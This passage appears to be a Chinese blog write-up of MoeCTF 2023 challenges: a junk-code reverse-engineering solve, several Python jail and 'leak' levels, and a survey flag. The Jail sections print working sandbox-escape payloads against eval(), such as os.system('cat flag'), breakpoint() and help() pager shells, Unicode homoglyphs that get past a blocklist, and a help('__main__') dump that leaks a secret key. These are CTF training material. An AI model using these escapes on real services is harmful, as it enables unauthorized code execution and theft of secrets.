    n = byte_6000[v14]^(a1[(a1[v11]+a1[v9])%256])
    flag += chr(n)
    v14 += 1
    a4 -= 1
print(flag)
#moectf{y0u_r3a11y_understand_rc4!!!!}

四、junk_code

1、题目描述:

CHALLENGE: junk_code
DESCRIPTION: 只要一两个花指令就能让IDA不能f5,IDA一片飘红,真不戳啊~

2、解题方法:

根据提示可知考察花指令移除。

IDA打开

进入sub_45A9A0:

查看loc_4605D0

在00460612处 按U 然后ctrl+N

变成90(nop),然后回到loc_4605D0按P

F5反编译,就可以看到正常的函数了
sub_459EBF同理

我们知道flag长度为36
这两个函数就是分别对前18位和后18位进行变换check
分别对应逆即可
exp:

aH = [0x68, 0x6A, 0x60, 0x5E, 0x6F, 0x61, 0x76, 0x74, 0x2B, 0x70, 0x5A, 0x6D, 0x60, 0x68, 0x2B, 0x71, 0x2E, 0x5F]
Str1 = [0x39, 0x12, 0x0E, 0x55, 0x39, 0x0C, 0x13, 0x08, 0x0D, 0x39, 0x05, 0x56, 0x02, 0x55, 0x47, 0x47, 0x47, 0x1B]
Str2 = []
v7 = []
for c in aH:
    v7.append(c+5)
for c in v7:
    print(chr(c),end='')
for c in Str1:
    Str2.append(c^0x66)
for c in Str2:
    print(chr(c),end='')
#moectf{y0u_rem0v3d_th3_junk_c0d3!!!}

🎮Jail

背景:

CHALLENGE: Jail Level 0
DESCRIPTION: 由空白(crazym@n)友情提供的 PyJail 入门题目合集。
上题计划:
- week1: level 0-4 & leak level 0-2
- week2: level 5-10 & pyrunner

本分类所有题目需要通过 WSRX 转发之后使用 nc 链接。关于 nc 是什么,请参考[这篇来自 USTC LUG 的文章](https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/)或自行查询搜索引擎。你可以在 Pwn 分类下的 test_nc 题目检测你的 nc 是否可以正常工作。

以下是原简介:
小C给MoeCTF制作了一个Jail类别的挑战,不过考虑到很多同学对于Jail这类题目并不是很熟悉的前提下.小C采取了一种很友好的交互方式告诉各位如何进行相关的操作

当各位玩家连接后 可以看到一个类似于菜单的东西.输入g(G)会获得挑战的源码,输入e(E)会进入挑战,输入c(C)会得到挑战的描述[题目里的会更加详细],输入q(Q)会退出

小tips:如果你不熟悉python,不妨可以先看看 https://docs.python.org/3/ 和 https://www.runoob.com/python3/python3-tutorial.html

祝大家能够玩得开心,成功逃离小C的pyjail!

首先感谢空白哥提供了这么有意思的合集,真的很nice!!!!!下面我们开始吧((

如果不是很了解此类题目的话建议大家还是去先了解一下吧!!

一、Jail Level 0

连接靶机就不说了,大家都会,直接开干

进入题目:

我们先查看源码,按G

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

这个没有什么限制直接输就行了,一把梭,按E进入挑战

>>> e   
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> __import__("os").system("cat flag")
flag{MrX9rRd3AE_7l9WYCbb8L_o3uU8KbBer}
Answer result: 0

二、Jail Level 1

 1、题目描述:

CHALLENGE: Jail Level 1
DESCRIPTION: 这里是level1 似乎比level0多了一些限制 指的是payload长度

2、解题方法:

限制了长度?先进入题目:

同上查看源码:

>>> g

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

发现payload长度限制了不能超过12,好说,有一个叫作breakpoint() 的调试函数,进去就可以执行其他的命令咯

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open("flag").read()
'flag{fKf1Tw8AQe0nJvg2mEiHO6n1hzYxJ0vP}\n'
(Pdb) 

三、Jail Level 2

1、题目描述:

CHALLENGE: Jail Level 2
DESCRIPTION: 这里是level2 你能用比level1更短的payload解决这个挑战吗

2、解题方法:

还是查看源码:

>>> g

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

这次更短了,不超过6,没事,咱可以用help()。谷歌发现了一个文章 Python eval 利用技巧 提到help()方法会执行more这个程序,然后就可以执行shell了

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> help()

Welcome to Python 3.10's help utility!
help> sys
WARNING: terminal is not fully functional
Press RETURN to continue 

Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.10/library/sys.html
    
    The following documentation is automatically generated from the Python
    source files.  It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.  When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.
    
    Dynamic objects:
    
    argv -- command line arguments; argv[0] is the script pathname if known
    path -- module search path; path[0] is the script directory, else ''
    modules -- dictionary of loaded modules
:!cat flag
!cat flag
flag{7Krh92PiWy4pS8AnVOM58fNy7IiwPqDc}
!done  (press RETURN)

四、Jail Level 3

 1、题目信息:

CHALLENGE: Jail Level 3
DESCRIPTION: 这里是level3 和level1有关 但是之前的payload不能直接工作

2、解题方法:

先查看源码:

>>> g

    import re
    BANLIST = ['breakpoint']
    BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
    print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
    print("Enter your expression and I will evaluate it for you.")
    user_input_data = input("> ")
    if len(user_input_data)>12:
      print("Oh hacker! Bye~")
      exit(0)
    if re.findall(BANLIST_WORDS, user_input_data, re.I):
      raise Exception('Blacklisted word detected! you are hacker!')
    print('Answer result: {}'.format(eval(user_input_data)))

不能超过12,而且之前的breakpoint()方法不能用了。。。。按C看下提示

| Hint for beginner:                                                                                                                                 |
| 1. you need to find a payload not above 12 byte but breakpoint is banned!                                                                          |
| 2. help() pager is banned. 

还发现help()呼叫机也被办了。。。。好恶心。不过没关系,由于长度限制问题,目前可以想到的只能用help()和breakpoint(),但是被办了,那咱就把他的字体编码改啦就识别不到了,嘿嘿!

由于Python3中的unicode特性,所以很常见unicode碰撞的题目,这里写下一个简短的脚本来获取一些常用的碰撞unicode

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

在碰撞出来的结果里找字母help/breakpoint,经过尝试可发现help不行,把breakpoint的b改字体就可以了𝒷

>>> e
Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.
Enter your expression and I will evaluate it for you.
> 𝒷reakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open("flag").read()
'flag{-gsuCHdeW9byxCGixYUWtnXDwS2tL6Xc}\n'
(Pdb) 

五、Jail Level 4

 1、题目信息:

CHALLENGE: Jail Level 4
DESCRIPTION: 这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?

2、解题方法:

这个太简单了。。。

 哈哈!!! 经过上面几题的练习估计大家都了解基本操作了,因此难度也上来了。。下面三个是有关key的题目,一起来看看吧!!(

六、Leak Level 0

1、题目信息:

CHALLENGE: Leak Level 0
DESCRIPTION: 欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单

2、解题方法:

进入题目很明显看到就三个选项,把之前的C键去掉了,因此没有提示了,我们只能分析源代码,别慌!!

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [Q]uit 

查看源代码:

>>> g

    fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    print("| Options: 
|       [V]uln 
|       [B]ackdoor")
    def func_filter(s):
      not_allowed = set('vvvveeee')
      return any(c in not_allowed for c in s)
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>9):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_valid_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

上面说的是可以分两步走:

第一步,v模式,code长度不超过9,指令还没被过滤掉。

第二步,b模式,输入key匹配正确后,便可随意输入。

因此,我们要考虑的是走哪条路?如果一开始走b根本行不通,不知道key,因此可以想到这个key肯定是通过v模式得到的,如何得到呢?

按要求来,我们使用globals()获取全局的变量看看有没有key

OK!发现目标,那我们用这个key进入b模式得flag

>>> e
Hey Guys,Welcome to the moeleak challenge.Have fun!.
| Options: 
|       [V]uln 
|       [B]ackdoor
>>> b
Please enter the admin key
key >> 4e86eda06366a131649a4e9be1a9f217
Hey Admin,please input your code:
backdoor> open("flag").read()
flag{A42z5k5w9qcpV1v_V2JFbT1n6ntv4w1W}

七、Leak Level 1

 1、题目信息:

CHALLENGE: Leak Level 1
DESCRIPTION: 这里是level1 比level0多了一些过滤

2、解题方法:

同样获取源代码:

>>> g

    fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    def func_filter(s):
      not_allowed = set('moe_dbt')
      return any(c in not_allowed for c in s)
    print("| Options: 
|       [V]uln 
|       [B]ackdoor")
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>6):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_vailed_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor >> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

分析可知,我们还需要通过v模式获取key,但v模式限制长度不超过6,没被过滤。我们可以想到的只能是help()。

>>> v
you need to 
code >> help()
Oh hacker! byte~

尝试发现被过滤了,那就改字体𝒽𝑒ℓ𝓅,

要都改,别问,问就是试出来的唉嘿!!我们可以调用𝒽𝑒ℓ𝓅()进入函数,输入server查看key,但发现不行,server被办了。。。很烦!找了一些资料才发现我们如果输入__main__的话,是不是得到当前模块的帮助?答案是肯定的:我们输入__main__之后,就返回了当前模块的信息,包括全局变量:

help> __main__
Help on module __main__:

NAME
    __main__

FUNCTIONS
    func_filter(s)

DATA
    CHALLENGE_SOURCE_CODE = '\n    fake_key_into_local_but_valid_key_into_...
    WELCOME = '\n  __  __  ___       _      ______        _  __ ...       ...
    __annotations__ = {}
    challenge_choice = 'v'
    choice = 'e'
    code = '𝒽𝑒ℓ𝓅()'
    key_ff8457ee50ed8d0f = '8d3d451fff8457ee50ed8d0f24881eac'

发现啦key,然后我们就可以去拿flag了

>>> e
Hey Guys,Welcome to the moeleak challenge.Have fun!.
| Options: 
|       [V]uln 
|       [B]ackdoor
>>> b
Please enter the admin key
key >> 8d3d451fff8457ee50ed8d0f24881eac
Hey Admin,please input your code:
backdoor> open("flag").read()
flag{OGGy2D2spAGmv7nJzlO4VpWKMDBiqTSY}

八、Leak Level 2

终于最后一个了哎!(   加油咩!!!!

 1、题目信息:

CHALLENGE: Leak Level 2
DESCRIPTION: 这里是level2 比level1多了一些过滤

2、解题方法:

查看源代码:

>>> g

    fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    print("| Options: 
|       [V]uln 
|       [B]ackdoor")
    def func_filter(s):
      not_allowed = set('dbtaaaaaaaaa!')
      return any(c in not_allowed for c in s)
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        print("you need to ")
        code = input("code >> ")
        if(len(code)>6):
          print("you're hacker!")
          exit(0)
        if func_filter(code):
          print("Oh hacker! byte~")
          exit(0)
        if not code.isascii():
          print("please use ascii only thanks!")
          exit(0)
        print(eval(code))
      elif challenge_choice == 'b':
        print("Please enter the admin key")
        key = input("key >> ")
        if(key == fake_key_into_local_but_vailed_key_into_remote):
          print("Hey Admin,please input your code:")
          code = input("backdoor> ")
          print(eval(code))
      else:
        print("You should select valid choice!")

蛙趣!!不愧是最后一个,又多了个条件,其实不用管它,就是否定了ASCII码。。。我们还是help()进入,用之前的__main__

help> __main__
Help on module __main__:

NAME
    __main__

FUNCTIONS
    func_filter(s)

DATA
    CHALLENGE_SOURCE_CODE = '\n    fake_key_into_local_but_valid_key_into_...
    WELCOME = '\n  __  __  ___       _      ______        _  __ ...       ...
    __annotations__ = {}
    challenge_choice = 'v'
    choice = 'e'
    code = 'help()'
    key_f5ee1754b2e73acf = '43610e2ef5ee1754b2e73acf35348dd5'

找到key进入b模式取flag,哈哈哈

  __  __  ___       _      ______        _  __  _                _ ___  
 |  \/  |/ _ \     | |    |  ____| ____ | |/ / | |              | |__ \ 
 | \  / | | | | ___| |    | |__   / __ \| ' /  | | _____   _____| |  ) |
 | |\/| | | | |/ _ \ |    |  __| / / _` |  <   | |/ _ \ \ / / _ \ | / / 
 | |  | | |_| |  __/ |____| |___| | (_| | . \  | |  __/\ V /  __/ |/ /_ 
 |_|  |_|\___/ \___|______|______\ \__,_|_|\_\ |_|\___| \_/ \___|_|____|
                                  \____/                                                                                                                                                    

| Options: 
|       [G]et Challenge Source Code 
|       [E]nter into Challenge 
|       [Q]uit 

>>> e
Hey Guys,Welcome to the moeleak challenge.Have fun!.
| Options: 
|       [V]uln 
|       [B]ackdoor
>>> b
Please enter the admin key
key >> 43610e2ef5ee1754b2e73acf35348dd5
Hey Admin,please input your code:
backdoor> open("flag").read()
flag{Zl-IsSVsBcmbbafegQGUBD6gOuiyXyc1}

💯问卷调查

1、题目信息:

CHALLENGE: 参赛体验调查
DESCRIPTION: https://zelovj1kjg.feishu.cn/share/base/form/shrcnKwwM4vd8hOXKvYIe4WqUkf
本题也有 Flag!如果没找到说明没有好好填问卷捏

2、解题方法:

填问卷就OK了

moectf{7hank_U_4_Part1cipatin9!}

完结撒花!!!))))❤️,感谢支持咩~   喜欢的宝子们可以给博主点点赞咩

posted @ 2023-08-30 12:46  Kicky_Mu  阅读(9308)  评论(1编辑  收藏  举报